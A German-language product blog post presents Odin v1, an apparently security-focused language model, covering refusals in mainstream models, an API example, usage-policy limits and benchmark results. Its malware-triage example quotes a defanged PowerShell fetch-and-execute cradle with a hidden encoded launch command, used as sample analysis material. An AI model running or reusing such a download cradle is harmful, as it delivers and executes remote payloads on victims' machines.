Security-Research mit weniger Verweigerungen: Odin v1 stellt sich vor

Wenn du ein gängiges KI-Modell für Security-Arbeit nutzt, kennst du das Muster. Du fügst einen deobfuskierten Loader ein und fragst, was er tut, und das Modell erklärt dir, dass es bei Malware nicht helfen kann. Odin v1 ist ein großes Sprachmodell von InterOdin, das dafür gebaut ist, legitime Security-Fragen direkt zu beantworten, mit deutlich weniger Verweigerungen. Dieser Beitrag erklärt, warum es zu den Verweigerungen kommt, was sie kosten, wie sich Odin v1 stattdessen verhält, wo seine Grenzen liegen und wie es in öffentlichen Benchmarks abschneidet.

Warum gängige Modelle legitime Security-Arbeit verweigern

Allzweck-Assistenten sind darauf abgestimmt, Schaden für ein sehr breites Publikum zu vermeiden. Sie können nicht prüfen, wer fragt, und reagieren daher oft auf Oberflächenmerkmale eines Prompts: Wörter wie „Exploit“, „Payload“, „Shellcode“, „Ransomware“ oder „C2“. Die Folge: Viel ganz normale defensive Arbeit wirkt auf das Modell riskant.

Typische Beispiele:

• Malware-Triage. Ein Analyst fügt einen obfuskierten PowerShell- oder JavaScript-Dropper aus einem Vorfall ein und fragt nach dem dekodierten Verhalten. Das Modell lehnt ab oder erklärt das Konzept der Obfuskierung, ohne irgendetwas zu dekodieren.
• Exploit-Analyse gepatchter CVEs. Ein Detection Engineer fragt, wie eine öffentliche, bereits gepatchte Schwachstelle funktioniert, um eine Regel für Ausnutzungsversuche zu schreiben. Das Modell antwortet, es könne bei Exploits nicht helfen.
• Red-Team-Reporting. Ein Tester in einem autorisierten Auftrag bittet um Hilfe, den Angriffspfad für den Kunden aufzuschreiben. Das Modell behandelt die Beschreibung des Pfads wie eine Anfrage nach einer Angriffsanleitung.
• Detection-Content. Eine YARA- oder Sigma-Regel zu schreiben heißt, zu beschreiben, wie bösartige Aktivität aussieht. Manche Modelle scheuen vor den Strings und Kommandozeilen zurück, auf die eine Regel matchen muss.

Keine dieser Aufgaben verschafft einem Angreifer neue Fähigkeiten. Das Sample existiert bereits, die CVE ist gepatcht und öffentlich, und der Auftrag liegt im Scope. Die Verweigerung schützt niemanden.

Was Verweigerungen Researcher kosten

Die Kosten werden leicht unterschätzt, weil sie sich auf viele kleine Momente verteilen.

• Zeit. Leute formulieren um, schreiben Präambeln wie „Ich bin Security-Researcher“ davor oder zerlegen eine Frage in fünf harmlos wirkende Teile. Diese Zeit fehlt bei der Bearbeitung des Vorfalls.
• Qualität. Teilantworten sind schlimmer als Verweigerungen. Ein Modell, das stillschweigend genau die eine Stufe eines Droppers überspringt, die es für heikel hält, liefert dir eine Verhaltenszusammenfassung mit einem Loch in der Mitte, und das fällt dir womöglich nicht auf.
• Automatisierung. Auf einem Modell, das jeden zehnten Aufruf verweigert, lässt sich keine verlässliche Pipeline bauen. Batch-Extraktion von IOCs, Berichtsentwürfe und Log-Triage brauchen alle konsistente Antworten.
• Umgang mit Daten. Wenn das freigegebene Tool ablehnt, fügen Leute Vorfallsdaten in irgendein Tool ein, das antwortet. Das ist für alle das schlechtere Ergebnis.

Wie sich Odin v1 stattdessen verhält

Odin v1 behandelt Security-Kontext als normalen beruflichen Kontext. Bitte es, ein Sample zu dekodieren, einen gepatchten Bug zu erklären oder ein Finding zu entwerfen, und es erledigt die Arbeit und sagt dir anschließend, wo es unsicher ist.

Hier ein realistischer Triage-Prompt. Das Sample ist synthetisch und entschärft:

System: You are assisting a malware analyst. Samples come from our ownincident and are handled in an isolated analysis VM. Never suggestrunning anything on a host machine.
User: This PowerShell came from a phishing attachment. Decode it, explaineach stage, list IOCs as JSON, and map the behavior to MITRE ATT&CK.
powershell.exe -nop -w hidden -enc <base64 blob from the sample>Decoded first stage (by me):IEX (New-Object Net.WebClient).DownloadString('hxxp://203.0.113[.]15/a.ps1')

Was du zurückbekommst: eine Erklärung Stufe für Stufe (verstecktes Fenster, kodierter Befehl, ein Download-Cradle im Speicher, das eine zweite Stufe ausführt, ohne sie auf die Platte zu schreiben), einen JSON-Block mit der entschärften URL und IP als IOCs, ATT&CK-Mappings wie T1059.001 (PowerShell), T1027 (Obfuscated Files or Information) und T1105 (Ingress Tool Transfer) sowie Vorschläge, wonach du als Nächstes suchen solltest, zum Beispiel nach Script-Block-Logging-Events. Es weist auch darauf hin, was es nicht sehen kann, etwa den Inhalt von a.ps1, statt zu raten. Den vollständigen Workflow findest du in Malware-Analyse mit Odin.

Dieselbe Anfrage über die API, mit dem offiziellen OpenAI SDK:

from openai import OpenAIimport os
client = OpenAI(    base_url="https://api.interodin.com/v1",    api_key=os.environ["INTERODIN_API_KEY"],)
sample = open("stage1_decoded.txt", encoding="utf-8").read()
resp = client.chat.completions.create(    model="odin-v1",    messages=[        {            "role": "system",            "content": "You assist a malware analyst. Samples are handled in an "                       "isolated VM. Return IOCs as JSON with defanged URLs.",        },        {            "role": "user",            "content": "Explain each stage, list IOCs as JSON, map to ATT&CK:\n\n" + sample,        },    ],)print(resp.choices[0].message.content)

Ein paar praktische Details:

• Zwei Modelle. odin-v1 ist das leistungsfähigste, mit einem Kontextfenster von 1.000.000 Tokens und standardmäßig aktiviertem Thinking. Nimm es für tiefe Analysen, lange Decompiler-Ausgaben oder einen kompletten Satz Projektnotizen. odin-flash ist schneller und günstiger, hat 262.144 Tokens Kontext und eignet sich für Massenaufgaben wie IOC-Extraktion.
• Kompatible APIs. Die Base-URL ist https://api.interodin.com/v1. Sie spricht die OpenAI-APIs Chat Completions und Responses sowie die Anthropic Messages API, sodass bestehende Tools und SDKs funktionieren, wenn du Base-URL und Key änderst.
• Nur Text. Bilder und PDFs werden als Eingabe nicht akzeptiert. Füge stattdessen den Text eines Reports oder die Strings eines Binaries ein.
• Datenschutz. Prompts und Antworten der API werden nie gespeichert. Für die Abrechnung bleiben nur Metadaten wie Token-Anzahl, Latenz und Status erhalten. Die Server stehen in Deutschland.

Odin v1 hilft auch beim Schreiben, von Findings für Kunden bis zu Detection-Regeln: siehe Pentest-Berichte mit KI schreiben.

Wo die Grenzen liegen

Weniger Verweigerungen heißt nicht keine Regeln. InterOdin hat eine Acceptable Use Policy, und sie verbietet:

• das Erstellen oder Verbreiten von Malware
• den Zugriff auf Systeme, Konten oder Daten ohne Erlaubnis
• Betrug und Phishing
• chemische, biologische, radiologische und nukleare Waffen
• Darstellungen sexuellen Kindesmissbrauchs
• Terrorismus
• Belästigung und Doxxing
• Spam und Desinformation

In der Praxis verläuft die Grenze zwischen Verstehen und Schaden anrichten. Ein Sample zu analysieren, das du gefunden hast, ist in Ordnung; ein neues zu bauen nicht. Eine gepatchte CVE zu erklären, damit du sie erkennen kannst, ist in Ordnung; sie gegen ein System einzusetzen, das dir nicht gehört, nicht. Einen Angriffspfad für einen Kunden aufzuschreiben ist in Ordnung, wenn der Kunde dir eine schriftliche Erlaubnis gegeben hat und die Arbeit innerhalb des vereinbarten Scopes und der Rules of Engagement liegt.

Wenn du übst, nutze ein Lab, ein CTF oder eine Plattform, die dafür gebaut ist. Dokumentiere bei Kundenprojekten deine Autorisierung. Odin v1 antwortet direkt, aber die Verantwortung für den Scope bleibt bei dir.

Benchmarks

Das Diagramm vergleicht Odin v1 mit anderen Frontier-Modellen in vier Benchmarks, die für Security- und Agent-Arbeit relevant sind. Höher ist besser.

So liest du es:

• CyberGym misst das Finden von Schwachstellen über 1.507 Aufgaben. Odin v1 erzielt mit 84,5 den Spitzenwert, vor Claude Fable 5 (83,8) und GPT-5.6 Sol (83,6). Dieser Benchmark liegt am nächsten an der Arbeit, um die es in diesem Beitrag geht.
• Terminal-Bench 2.1 testet agentische Arbeit im Terminal. Odin v1 erreicht 88,2 und liegt damit weniger als einen Punkt hinter dem Spitzenreiter GPT-5.6 Sol mit 88,8. Die fünf besten Modelle trennt weniger als ein Punkt.
• Humanity's Last Exam mit Tools ist ein anspruchsvoller Test für allgemeines Reasoning. Odin v1 liegt mit 62,5 auf Platz drei, hinter GPT-5.6 Sol (64,5) und Claude Fable 5 (63,9).
• Toolathlon Verified misst lange Workflows mit mehreren Tools. Odin v1 liegt mit 75,3 auf Platz drei, knapp hinter Kimi K3 (76,5) und Claude Opus 4.8 (76,2).

Kurz: Odin v1 führt beim security-fokussierten Finden von Schwachstellen und bleibt bei Terminal-, Reasoning- und Tool-Use-Aufgaben nur wenige Punkte hinter der Spitze.

Benchmarks sind ein Ausgangspunkt. Der bessere Test ist deine eigene Arbeit: Nimm ein Sample oder einen Satz Notizen, den du schon gut kennst, und schau, wie die Antwort im Vergleich abschneidet.

Wie es weitergeht

• Malware-Analyse mit Odin: Deobfuskierung, IOC-Extraktion und ATT&CK-Mapping für ein verdächtiges Skript.
• Pentest-Berichte mit KI schreiben: von Rohnotizen zum kundenfertigen Finding.
• Claude Code für Security-Tooling: Parser und Testharnesses mit Claude Code auf Odin-Modellen bauen.

Loslegen

Erstelle einen API-Key in der Konsole und folge dann dem Quickstart, um deinen ersten Request zu senden. Das Guthaben ist prepaid, ohne Abo; siehe Preise. Halte deine Arbeit innerhalb des Scopes und der Acceptable Use Policy.